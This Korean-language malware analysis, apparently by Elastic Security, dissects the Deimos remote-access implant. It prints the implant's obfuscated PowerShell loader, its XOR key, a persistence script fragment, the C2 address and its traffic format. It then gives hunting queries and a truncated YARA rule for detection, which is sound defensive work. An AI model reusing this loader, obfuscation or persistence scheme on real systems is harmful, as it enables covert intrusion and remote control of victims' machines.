고통의 피라미드 모델을 통해 살펴본 Deimos implant 차단

blog-security-radar-720x420.png
이 분석의 핵심 사항은 다음과 같습니다.
  • 원격 침투 도구는 처음에 보고된 Jupyter Infostealer, SolarMarker, Yellow Cockatoo 캠페인을 넘어서는 또 다른 캠페인에서도 활발하게 개발이 진행되고 있습니다.
  • 이 Malware는 여러 레이어의 복잡한 난독화 및 암호화 기술을 사용합니다.
  • 이 Malware에는 감쪽같은 루어 파일과 디지털 서명이 된 설치 실행 파일이 통합되어 있습니다.
  • 이 Malware는 초기 발판을 확보하고 경쟁 환경에 대한 지속성을 유지하는 데 사용되는 침입 단체의 일부입니다.
  • Elastic Security 팀은 관측된 C2 인프라에 대해 성공적으로 차단을 완료했습니다.

Deimos implant는 2020년에 처음 보고된 새롭고 복잡한 형태의 Malware입니다. 이 원격 침투 도구는 여러 레이어의 복잡한 난독화 및 암호화 기술을 사용하여 탐지를 회피하기 위해 활발하게 개발이 진행되고 있습니다.

또한 감쪽같은 루어 파일과 디지털 서명이 된 설치 실행 파일이 포함된 이러한 고급 분석 방어 대책은 식별과 분석을 불가능하게 만들 수 있습니다. 그러나 Elastic Security 팀은 최근에 관측된 명령 및 제어(C2) 인프라에 대해 성공적으로 차단을 완료했으며, 따라서 이 강력한 임플란트를 식별하는 데 도움이 되는 탐지 규칙과 헌팅 기술을 제공할 수 있게 되었습니다.

이 게시물은 Deimos implant의 전술, 기술, 절차, 또는 TTP에 대해 상세히 기술하고 있습니다. 우리의 목표는 Deimos의 생성자가 방어 목적으로 숨기려 한 작동 방식에 대한 정보를 공개함으로써 보안 실무자들이 Elastic Stack을 활용하여 Malware와 침입 데이터를 수집하고 분석할 수 있도록 돕는 것입니다.

개요

Elastic Intelligence & Analytics 팀은 이전에 Jupyter Infostealer Malware(다른 곳에서는 Yellow Cockatoo, SolarMarker로 추적됨)와 관련되었던 Deimos의 최초 침투 및 지속성 유지 임플란트의 새로운 변종을 추적합니다. 이 임플란트는 발표된 연구의 결과로 난독화 기술이 성숙 단계에 이르렀음을 입증했습니다. 이것은 활동 그룹이 탐지 방어 대책을 회피하기 위해 코드베이스를 적극적으로 수정하고 있다는 의미입니다.

우리가 관측한 샘플은 정보 탈취형으로 활용되지 않았습니다. 이것은 최초 침투, 지속성 유지, C2 기능을 제공하는 임플란트입니다. 원격 침투가 필요한 어떤 작업이라도 수행하는 데 사용할 수 있다는 점에서 이 임플란트는 강력합니다. 이러한 침입은 피해자들에 대한 집중적인 캠페인의 시작이거나 침투 정보 수집과 관련이 없는 다른 캠페인에 대해 대량으로 판매될 가능성이 높습니다.

이 분석은 David Bianco의 고통의 피라미드(Pyramid of Pain) 분석 모델을 활용하여 Malware 생성자에게 있어 원자적 지표, 아티팩트, 도구 표시 및 TTP의 가치와 이를 발견하는 것이 이 임플란트를 활용하는 침입 단체의 효율성에 어떻게 영향을 미칠 수 있는지를 설명할 것입니다. 또한 이 임플란트 및 유사한 아티팩트와 TTP를 공유하는 다른 임플란트를 식별하는 데 활용할 수 있는 호스트 기반 헌팅 기술과 탐지 규칙을 제공하고 있습니다.

세부 정보

2021년 8월 31일, Morphisec, Binary Defense 및 보안 연구원 Squibydoo가 보고한 바와 같이 Elastic은 Jupyter Infostealer와 기술을 공유하는 프로세스 주입 원격 측정을 관측했습니다[1] [2] [3] [4] [5]. 분석을 시작하고 관측한 샘플을 이전 연구와 비교하면서 우리는 난독화 구현 방식에 변화가 있음을 확인했습니다. 이러한 변화는 여러 가지 요인에 의한 것일 수 있는데, 그 중 하나는 기존 방어나 Malware 분석을 우회하거나 회피하려는 공격자의 시도입니다.

참고: 이 Malware의 이전 버전이 철저하게 문서화되었으므로, 우리는 새로 관측된 기능에 초점을 맞출 것입니다.

Malware의 동적 분석 동안, 우리는 다른 곳에서 보고된 것과 유사한 동작, 즉 런타임 생성 변수(각 실행에 고유한 변수), 디렉터리, XOR 암호 및 Base64 인코딩 명령을 사용한 난독화를 관측했습니다. 아래는 Malware 작성자가 분석을 방해하기 위해 사용한 새로운 난독화 전술의 예입니다. 이 부분에 대해서는 Malware 실행 패키지 압축을 풀면서 자세히 설명하겠습니다.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

그림 1: Malware 설치 프로그램에 의해 실행되는 PowerShell

관측된 샘플에서 %USERPROFILE% 디렉터리 깊숙이 여러 하위 디렉터리에 중첩되어 있는 Base64 인코딩 파일이 생성되었으며 PowerShell 스크립트에서 런타임 변수(우리 샘플에서는 $650326ac2b1100c4508b8a700b658ad7)를 사용하여 이 파일을 참조했습니다. 이 인코딩 파일을 PowerShell에서 읽으면 그림 2와 같이 삭제됩니다. 발표된 다른 연구에서는 실행 중에 볼 수 있도록 하는 PowerShell 명령 내에서 Base64 스트링을 관측했습니다. 이것은 보안 연구원이 발표한 보고서에 대응하여 Malware 작성자가 활용하는 난독화 기술의 수정을 보여줍니다.

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
그림 2: Base64 인코딩 파일 읽기 후 삭제

또한 hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX 값을 갖는 다른 변수(우리 예제에서는 $1e3dadee7a4b45213f674cb23b07d4b0)도 포함되었습니다. PowerShell 명령을 난독화함으로써, 우리는 이 값이 650326ac2b1100c4508b8a700b658ad7 파일의 암호를 해독하는 데 사용된 XOR 키임을 확인했습니다. Base64로 인코딩된 파일의 위치와 해독 기능이 있었으므로 삭제되지 않도록 해야 했습니다.

이를 위해, Sysmon에 대한 FileDelete 이벤트 구성을 활용했습니다. 기본적으로 이것은 "C:\Sysmon" 디렉터리에 디렉터리를 만든 다음 삭제된 모든 파일(MD5 + SHA256 해시 + 33 0's + 확장자로 이름 지정)을 해당 폴더에 저장합니다. 이 디렉터리는 SYSTEM 사용자만 사용할 수 있습니다. 우리는 PSExec을 사용하여 폴더에 침투했습니다(psexec -sid cmd). 파일에는 한 줄짜리 Base64 인코딩 스트링이 포함되었습니다.

위의 PowerShell에서 관측한 바와 같이, XOR 암호를 사용하여 내용을 보호하지만 우리는 그 암호에 대한 키를 가지고 있습니다. 명령줄 도구 base64xortool을 사용하여 우리는 파일을 디코딩하고 해독할 수 있습니다.

  • base64
    • -D - base64 프로그램을 사용하여 디코딩
    • -i - 디코딩할 입력 파일
    • -o - 디코딩된 내용을 저장하는 출력 파일
  • xortool-xor
    • -r - XOR 암호 키
    • -f - XOR로 암호화된 파일
    • > - 암호 해독된 파일 출력


base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
  -o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
  -f 650326ac2b1100c4508b8a700b658ad7.decoded \
  > 650326ac2b1100c4508b8a700b658ad7.xor
그림 3: XOR화된 Base64 인코딩 파일의 암호를 해독하는 중

이로 인해 XOR화된 Base64 인코딩 변수로 시작하고 더 많은 PowerShell로 끝나는 또 다른 난독화 파일이 생성되었습니다.

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

그림 4: 최종 난독화 파일(생략된 버전)

이전과 동일한 프로세스에 따라, XOR 키(= 기호를 사용하여 Base64인 것처럼 보이도록 시도했을 수 있음)를 식별하고 파일을 디코딩했습니다.

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
그림 5: XOR 암호 키

이 프로세스로 인해 지속성 유지에 사용되는 ID와 파일을 추적하는 임플란트를 생성하는 .NET DLL 파일이 산출되었습니다(추적 ID에 대한 자세한 내용은 분석 - 최초 침투 섹션에 있음).

adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
그림 6: .NET DLL 파일 형식

DLL은 스스로를 Mars.Deimos라고 부르며, Morphisec, Binary Defense 및 보안 연구원 Squibydoo의 이전 연구와 관련이 있습니다[1] [2] [3] [4] [5]. 우리가 관측한 특정 샘플은 Malware 분석을 방해하기 위해 .NET 보안 강화 도구 Dotfuscator CE 6.3.0을 활용합니다.

특히 흥미로운 점은 탐지하기 더 어렵게 하기 위해 작성자들이 Malware를 수정하는 데 상당한 시간을 보냈다는 것입니다. 이는 그들이 Malware를 유지관리하도록 인센티브를 받았음을 나타냅니다. 분석 단계로 넘어가면서 이 같은 사실을 알아두는 것은 유용합니다. 금전적 이익을 위해 이를 사용하는 사람들을 좌절시키게 될 가치 있는 Malware 임플란트에 우리가 영향을 미칠 수 있다는 것을 의미하기 때문입니다.

분석

분석에서 참조되는 모든 지표는 지표 섹션에 있습니다.

고통의 피라미드

분석을 시작하기 전에, 프로세스를 안내하는 데 도움이 되는 모델에 대해 얘기해 보겠습니다.

2013년, 보안 연구원 David Bianco는 고통의 피라미드(Pyramid of Pain)라고 불리는 분석 모델을 발표했습니다. 이 모델은 침입의 다양한 부분을 발견하는 것이 캠페인에 어떤 영향을 미칠 수 있는지 이해하기 위한 것입니다. 아래 모델에서 볼 수 있듯이, 해시 값을 식별하는 것은 유용하지만 공격자에 의해 쉽게 변경되는 반면, TTP를 식별하는 것은 공격자가 변경하기 매우 어렵습니다.

그림 7: 고통의 피라미드
그림 7: 고통의 피라미드

고통의 피라미드를 사용하는 목적은 침입에 대해 최대한 이해하고 여러분에게 미치는 영향(즉, “고통”의 양)을 예상하는 것입니다. 관측된 샘플들의 분석 내내, 우리는 잠재적인 영향을 평가하기 위한 예시적인 방법으로 이 샘플들을 고통의 피라미드에 오버레이할 것입니다.

파일 해시

새로운 변형 Malware 샘플을 관측했음을 파악한 후, 우리는 데이터 세트에 검색 쿼리를 적용하고 여러 버티컬에 걸쳐 10개의 고유한 조직을 식별했는데, 이는 대상이 아닌 것으로 나타났습니다. 그 10개 조직에서, 우리는 10개의 다른 최초 설치 프로그램 파일 해시를 관측했습니다. 삭제된 인코딩 파일도 모두 다릅니다.

따라서 이러한 정보도 유용하지만, 파일 해시를 탐지 방법으로 사용하는 것은 조직 전체에서 유용하지 않을 것이 분명합니다.

IP 주소

다른 연구원들이 지적했듯이, 우리는 캠페인에 사용된 것과 동일한 IP 주소를 관측했습니다. 이 IP 주소는 2021년 8월 30일에 악성 파일과 처음으로 연결되었습니다.

IP           216.230.232.134
Anycast      false
City         Houston
Region       Texas
Country      United States (US)
Location     29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal       77052
Timezone     America/Chicago

그림 8: 식별된 IP 주소에 대한 정보

이 IP 주소는 여러 불법 사이트에 보고되었으며 여러 보안 연구원에 의해 독립적으로 식별되었습니다. 2021년 9월 21일에 우리는 이 IP 주소에 대한 성공적인 차단 요청을 시작하였으며, 모든 임플란트에 대한 관측된 C2 인프라 침투를 제거했습니다.

이 원자적 지표는 방화벽에서 차단하는 데 유용하지만, 공격자가 다른 IP 주소로 변경하는 것은 사소한 일이므로 피라미드에서 더 높이 올라가 공격자에게 더 큰 영향을 미치도록 해보겠습니다.

아티팩트

리소스 개발

우리가 분석한 루어 파일 샘플은 주로 스칸디나비아어 및 슬라브어 사용 국가의 조직에서 서명한 것이며, 영어와 프랑스어 사용 국가의 두 가지 이상값이 있습니다. 다수의 샘플이 "Spoloènos s Ruèením Obmedzeným"(S.R.O.)으로 등록된 디지털 인증서로 서명되었습니다. S.R.O.는 외국 법인이 소유한 슬로바키아 기업을 위한 사업 명칭입니다.

디지털 서명(SRO #1)을 소유하고 있는 것으로 관측한 S.R.O.는 2021년 7월 29일에 설립되었고, 서명은 2021년 8월 26일부터 관측되었습니다. 게다가, 우리가 관측한 S.R.O.는 다른 S.R.O. 소유입니다. (SRO #2).

그림 9: 루어 파일 디지털 서명 S.R.O.(SRO #1) 및 소유자(SRO #2)
그림 9: 루어 파일 디지털 서명 S.R.O.(SRO #1) 및 소유자(SRO #2)

SRO #2는 2014년 8월 19일부터 사업을 시작하여 다양한 서비스를 제공하고 있습니다. SRO #2의 소유자는 유럽 동구권 국가에 단일 이름의 파트너(이그제큐티브 매니저)를 두고 있습니다.

그림 10: 동일한 이그제큐티브 매니저를 공유하고 있는 SRO #2와 SRO #1
그림 10: 동일한 이그제큐티브 매니저를 공유하고 있는 SRO #2와 SRO #1

그 조직이나 사람들이 의도적으로 연루되었는지, 배제되었는지, 원치 않는 참여자인지에 대해서는 명확하게 말씀드릴 수 없기 때문에 이름을 밝히지 않겠습니다. 도난당할 가능성이 있는 인증서를 획득하는 과정은 우리가 분석한 다른 샘플과 일치합니다. 이러한 인증서가 어떻게 조달되었는지는 분명하지만, 이 일을 담당한 사람(들)은 슬로바키아의 외국인 소유 사업체를 등록하는 데 필요한 관료제도와 법에 정통한 것으로 보입니다.

최초 침투

우리는 이 계층에서 가장 많은 지표를 관측했습니다. 호스트 및 네트워크 양쪽 모두, 아티팩트 계층의 표지는 Malware의 작동 방식을 크게 재설계하지 않고는 공격자가 변경하기 어렵기 때문에 방어자에게 매우 가치가 있습니다. 그러한 요소들은 모듈식이고 간단히 업데이트될 수 있다는 점에서 이는 원자적 지표(해시 및 인프라)와는 다릅니다. 암호 키(아래에서 살펴볼 것입니다)와 같은 아티팩트는 컴파일하기 전에 소스 코드로 하드 코딩되는 경우가 많으며 조정하려면 상당한 작업이 필요합니다.

드로퍼는 32자 길이의 영숫자 및 소문자로 된 이름의 중첩된 디렉터리를 만듭니다. 지금까지 관측한 모든 경우, 6개의 중첩된 디렉터리와 동일한 명명 규칙을 사용하는 최종 하위 디렉터리 내에 하나의 파일이 있습니다. 초기 실행 중에 이 파일이 로드되고 52바이트 정적 XOR 키로 난독화된 다음 PowerShell 스크립트로 실행됩니다. 이 활동을 식별하는 헌팅 쿼리를 탐지 섹션에 포함해 놓았습니다.

또한, .Net assembly는 %USERPROFILE%\APPDATA\ROAMING에 있는 모든 파일을 나열하여 스트링을 생성합니다. 이 값은 이 컴퓨터의 고유 식별자인 hwid 값으로 저장됩니다. 파일이 아직 존재하지 않을 경우, 32개의 랜덤 바이트를 생성하고 사용자 정의된 Base64 인코딩으로 인코딩하여 생성됩니다.

지속성 유지

일단 실행되면, PowerShell 스크립트가 %APPDATA%\Microsoft\이라는 디렉터리에 100개에서 200개 사이의 임의 파일을 생성하는 Malware의 지속성 유지를 설정합니다. 임의 스트링에는 소문자 및 대문자 A-Z와 숫자 0-9만 포함됩니다. 길이는 10자에서 20자 사이일 수 있습니다. 이 디렉터리가 준비 디렉터리입니다. 이러한 파일에는 50,000바이트에서 200,000바이트 사이의 임의로 생성된 바이트가 포함됩니다. 파일 자체의 이름은 .이며, 각 임의 스트링은 디렉터리 이름과 동일한 규칙을 따릅니다. 마지막으로, 난독화된 .Net DLL을 포함하는 이 디렉터리에 하나의 최종 파일이 작성됩니다. 이것이 진짜 Deimos implant입니다. 이 디렉터리에서 유사한 속성을 가진 더미 파일과 닮았으며, 더 나아가 방어를 회피하려고 합니다.

다음 함수 스크립트는 위에서 생성된 임의 데이터의 첫 번째 파일에 Windows 셸 핸들러를 제공하는 두 개의 레지스트리 키를 생성하게 됩니다. 이 경우 해당 파일의 파일 확장자를 사용하여 PowerShell 명령 실행 요청을 연결합니다. 레지스트리 키는 HKEY_CURRENT_USER\Software\Classes\\에 생성됩니다. 여기서 임의 스트링은 위에서 언급한 것과 동일한 규칙을 따릅니다. 단, 모든 소문자는 예외입니다. 첫 번째 키는 더 나아가 로더 PowerShell 스크립트를 포함하는 \Shell\Open\Command의 하위 키를 갖게 됩니다. 스트링 값 자체는 검색하기 더 어렵게 하기 위해 대소문자가 혼합되어 있습니다. 예를 들어, 우리 샘플에는 PowErShELl이 사용되었습니다 두 번째 키는 위에서 무작위로 생성된 첫 번째 파일의 확장자와 일치하는 별칭으로, 효과적입니다. 이 값은 첫 번째 키의 경로에 사용된 임의 스트링의 소문자 값과 일치합니다.

마지막 지속성 유지 아티팩트는 사용자의 StartUp 디렉터리에 있는 .LNk 파일입니다. 이 샘플에서는 a44f066dfa44db9fba953a982d48b.LNk라는 이름으로 하드 코딩됩니다. 바로가기는 위에서 무작위로 생성된 첫 번째 파일을 실행하도록 설정되며 최소화된 창에서 열립니다. 사용자가 로그인하면, 링크 파일이 Windows에 파일을 시작하라는 메시지를 보내지만 실행 파일은 아닙니다. 위의 레지스트리 키는 파일을 실행하기 위해 위의 첫 번째 키에 구성된 PowerShell 명령을 실행하도록 Windows에 알려줍니다. PowerShell 명령에는 난독화된 .Net DLL과 이를 난독화하기 위한 XOR 키에 대한 전체 경로가 포함되어 있습니다. 마지막으로 .Net DLL 어셈블리는 클래스 메서드 [Mars.Deimos]::interact()를 호출하여 PowerShell에 의해 실행됩니다. 이 지속성 유지 아키텍처는 텍스트에서는 따라가기가 어려울 수 있습니다. 그래서 아래에 지속성 유지 메커니즘의 시각적 표현을 함께 소개해 두었습니다.

그림 11: 지속성 유지 메커니즘 흐름
그림 11: 지속성 유지 메커니즘 흐름

명령 및 제어 단계

이 Malware는 권한 수준에서 모든 작업을 수행할 수 있는 범용 임플란트를 제공합니다. 즉, Windows PE 파일, PowerShell 스크립트, .Net DLL 어셈블리를 수신하고 실행할 수 있으며 임의의 PowerShell 명령을 실행할 수 있습니다.

페이로드 캡슐화의 몇 가지 명령별 순열이 있지만 C2 서버에 웹 요청을 수행하기 위한 일반적인 메서드로 전달됩니다. 웹 요청은 HTTP POST 메소드를 사용하며 통신 설정 시 10분의 제한 시간을 설정합니다.

.Net WebRequest 공급자가 입력한 기본 헤더 외에 추가 헤더가 설정되지 않습니다. 그러한 추가 헤더는 Host, Content-LengthConnection: Keep-Alive입니다.

POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive

그림 12: C2 HTTP 헤더

그림 13은 고객의 POST 요청 본문을 16진수 형식으로 확인하는 것을 보여줍니다.

그림 13: C2 HTTP 본문
그림 13: C2 HTTP 본문

흰색으로 표시된 첫 번째 바이트는 임의로 생성되어 네트워크 통신의 패턴을 난독화하기 위해 본문 앞에 추가됩니다. 이러한 바이트 수는 0에서 512 사이입니다. 다음으로 녹색으로 표시된 null 바이트는 임의 데이터의 끝을 표시합니다. 파란색으로 표시된 다음 10바이트는 서버로부터의 마지막 통신에서 전송된 "쿠키" 값입니다. 이렇게 하면 각 통신이 고유하기 때문에 캡처된 패킷을 서버에 재생하지 못할 수 있습니다. 특별히 10바이트를 요구하는 것은 없지만, 우리가 관측한 모든 트래픽에서 이러한 경우가 있었습니다. 최초 체크인의 경우에는 이런 사례가 존재하지 않습니다. 마지막으로, 빨간색으로 표시된 나머지 바이트는 암호화된 본문입니다. 초기 체크인의 경우, 이것은 정확히 256바이트의 RSA 암호화 데이터이며, 후속 통신에 사용될 키와 이 임플란트에 대한 고유한 하드웨어 ID를 포함합니다. 나머지 통신의 경우, 클라이언트는 암호화에 AES-128 CBC 모드를 사용합니다. AES 암호화의 경우, 이 부분은 항상 16바이트 길이의 배수입니다.

초기 핸드셰이크에 사용되는 RSA 공개 키는 캠페인마다 고유합니다. 그림 24의 YARA 규칙을 사용하여 총 65개의 임플란트 샘플을 발견할 수 있었습니다. RSA 키는 미국부터 몰도바에 이르는 국가들에서 고유한 캠페인을 구분하는 피벗을 제공했습니다. 샘플 중 12.5%만이 Jupyter Infostealer에서 관측된 것과 유사한 정보 탈취 기능을 포함했습니다. 나머지 샘플은 추가 정보 탈취 기능이 없는 Deimos implant였습니다. 이는 임플란트가 모든 기능을 갖추고 어떤 캠페인에든 최초 침투와 지속성 유지에 사용할 수 있어 인기를 끌고 있다는 것을 의미할 수 있습니다.

메인 루프

체크인 프로세스가 완료되면 메인 프로세스 루프가 시작됩니다. 메인 루프 동안 임플란트의 기본 동작은 ping 동작입니다. ping은 컴퓨터 이름, Windows 버전, CPU 아키텍처, 사용자에게 관리 권한이 있는지 여부에 대한 정보 및 임플란트에 대한 버전 스트링을 포함하여 환경에 대한 정보를 보냅니다.

작업이 임플란트에 대해 예약된 경우, ping 명령에 대한 응답에는 "file" 또는 "command" 중 하나로 설정된 상태 값이 포함됩니다. 작업이 주어지지 않으면, 임플란트는 20초 동안 대기 모드를 취하며 0~20초 사이의 임의의 시간 동안 대기합니다. 이것은 모든 작업 간의 대기 시간입니다.

"file" 작업의 경우, 임플란트는 즉시 작업 정의의 task_id 속성을 사용하여 파일을 검색하고 다른 요청을 수행합니다. 임플란트는 "exe" 파일, "ps1" 파일 또는 "module"이 필요합니다. 이것은 .Net Assembly 파일입니다.

"exe"가 다운로드되면, %TEMP%\.exe에 있는 파일에 기록됩니다. 여기서 RANDOM_NAME은 모두 대문자로 된 24자 영숫자 값입니다. 파일을 실행하면 새 프로세스가 즉시 시작되고 다음 작업 간격에 상태가 보고됩니다.

"ps1" 파일이 다운로드되면, 스크립트의 내용은 표준 입력을 사용하여 새로운 PowerShell 프로세스로 전달됩니다.

마지막으로 , "module" 파일은 "플러그인 관리자"에 추가되고 "Run" 메서드를 실행합니다.

"command" 작업의 경우, 추가 요청이 필요하지 않습니다. 응답의 "command" 값은 PowerShell 코드를 포함하며 이것은 "ps1" 파일 형식과 동일하게 실행됩니다.

추측건대, 그 차이는 빠른 스크립트나 아마도 대화형 작업의 경우입니다. 이 경우 위협 행위자는 "command" 유형을 사용할 것입니다. 더 큰 스크립트의 경우, "file" 유형이 사용됩니다.

도구

관측된 모든 샘플의 메타데이터를 살펴보면, 모두 단일 PDF 소프트웨어 플랫폼을 사용하여 생성되었다는 점에서 신뢰도가 높은 연결을 확인할 수 있습니다.

Comments                        : This installation was built with Inno Setup.
Company Name                    :
File Description                : SlimReader Setup
File Version                    :
Legal Copyright                 : (c) InvestTech
Original File Name              :
Product Name                    : SlimReader
Product Version                 : 1.4.1.2
그림 14: Malware 루어 파일 메타데이터

이 소프트웨어는 합법적인 것처럼 보이지만, 루어 파일을 만들기 위해 자주 사용되는 것처럼 보입니다. 우리는 SlimReader 도구를 사용하여 생성된 53개의 Malware 또는 Malware 인접 샘플을 관측했습니다 또한 eSentire의 연구팀은 보고된 바와 같이 수십만 개의 루어 파일을 생성하는 데 있어 SlimReader가 가장 적합한 도구라고 밝혔습니다.

TTP

피라미드 꼭대기에서, 우리는 보안 연구원들이 보고한 다른 것들뿐만 아니라 우리의 샘플에 존재하는 특징들을 관측합니다. 관측된 모든 경우에, 이 Malware는 사용자를 속여 Malware를 설치하도록 하기 위해 Google Sneaky Redirects검색 엔진 최적화(SEO) 포이즈닝이라고 알려진 기술을 사용했습니다.

SEO 포이즈닝은 검색 엔진에서 순위를 부풀리기 위해 문서에 SEO 키워드를 넣는 데 사용되는 기술이며, 따라서 웹 검색 결과에서 악성 문서와 웹사이트 순위가 더 높습니다. 또한 Google Sneaky Redirects는 사용자가 다운로드한 파일을 클릭하도록 속이기 위한 방법으로 Google 검색의 이름을 따서 최초 Malware 설치 프로그램의 이름을 짓는 데 사용되는 기술입니다. 예를 들어, 사용자가 “무료 이력서 서식"을 검색한 다음 해당 파일이 있는 것으로 보이는 Malware 웹사이트를 클릭하면, free-resume-template.exe라는 이름의 Malware 설치 프로그램이 표시됩니다. Malware는 PE 파일을 실행하도록 사용자를 속이기 위한 시도로서 실행 파일임에도 불구하고 PDF 아이콘을 활용합니다. 그러면 아래에 Elastic Analyzer 보기에서 강조 표시된 PowerShell 프로세스가 시작됩니다.

그림 15: 난독화된 PowerShell 프로세스를 실행하는 Malware
그림 15: 난독화된 PowerShell 프로세스를 실행하는 Malware

Malware 프로세스 및 그것이 고통의 피라미드와의 다른 요소들과 어떻게 상호 작용하는지를 이해하는 것은 활동 그룹 및 침입 단체에 장기적인 영향을 미치는 데 있어 가장 중요합니다.

영향

설명한 침입 단체는 MITRE ATT&CK® 프레임워크에 의해 분류된 여러 전술과 기술을 활용합니다. 다른 TTP가 존재할 수 있지만, 분석 중에는 관측되지 않았습니다.

전술

기술/하위 기술

탐지

이 활동을 일반적으로 식별하는 기존 탐지 규칙이 있습니다. 우리는 또한 이러한 기술을 탐지하기 위한 두 가지 추가 규칙을 공개하고 있습니다. 또한 유사한 기술을 활용하는 다른 침입 단체를 식별할 수 있는 헌팅 쿼리도 제공하고 있습니다.

탐지 로직

Elastic은 Elastic Stack 및 Elastic Endgame을 사용하여 탐지 로직을 위한 공개 리포지토리를 유지관리합니다.

새 탐지 규칙

의심스러운 레지스트리 수정

사용자 앱데이터 로밍 경로의 비정상적인 파일 확장자

헌팅 쿼리

이러한 쿼리는 Kibana의 Security -> Timelines -> New Timeline → Correlation 쿼리 편집기에서 사용할 수 있습니다. 이러한 쿼리는 이 침입 단체를 식별하지만, 조사가 완료되면 다른 악의적인 활동으로 이어질 수 있는 다른 주목할 만한 이벤트도 식별할 수 있습니다.

이 쿼리는 난독화된 설치 프로그램이 포함된 최초 삭제 파일을 식별합니다.

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""
그림 16: 최초 설치 프로그램을 식별하는 헌팅 쿼리
그림 17: Timelines를 사용하여 최초 설치 프로그램을 식별하는 헌팅 쿼리
그림 17: Timelines를 사용하여 최초 설치 프로그램을 식별하는 헌팅 쿼리

이 쿼리는 처음 임플란트를 실행할 때 생성되는 고유한 "하드웨어 ID" 파일(hwid)을 식별합니다. 이 ID 파일은 이 설치를 고유하게 식별하는 데 사용됩니다.

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""
그림 18: 하드웨어 ID를 식별하는 헌팅 쿼리
그림 19: Timelines를 사용하여 하드웨어 ID를 식별하는 헌팅 쿼리
그림 19: Timelines를 사용하여 하드웨어 ID를 식별하는 헌팅 쿼리

이 쿼리는 AppData\Roaming 경로에서 파일 확장자가 10자 이상인 모든 파일을 식별합니다.

file where file.path : "*\\appdata\\roaming\\*" and 
length(file.extension) >= 10 and 
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")
그림 20: 긴 파일 확장자를 식별하는 헌팅 쿼리
그림 21: Timelines에서 긴 파일 확장자를 식별하는 헌팅 쿼리
그림 21: Timelines에서 긴 파일 확장자를 식별하는 헌팅 쿼리

이 쿼리는 레지스트리에서 "powershell"이라는 단어를 포함하는 긴 스트링 값을 식별합니다.

registry where  registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100
그림 22: 긴 레지스트리 스트링을 식별하는 헌팅 쿼리
그림 23: Timelines에서 긴 레지스트리 스트링을 식별하는 헌팅 쿼리
그림 23: Timelines에서 긴 레지스트리 스트링을 식별하는 헌팅 쿼리

YARA 규칙

우리는 이 게시물에서 설명한 Deimos 트로이 목마 DLL 파일의 존재를 식별하기 위해 YARA 규칙을 만들었습니다.

rule Windows_Trojan_Deimos_DLL {
    meta:
        author = "Elastic Security"
        creation_date = "2021-09-18"
        last_modified = "2021-09-18"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Deimos"
        threat_name = "Windows.Trojan.Deimos"
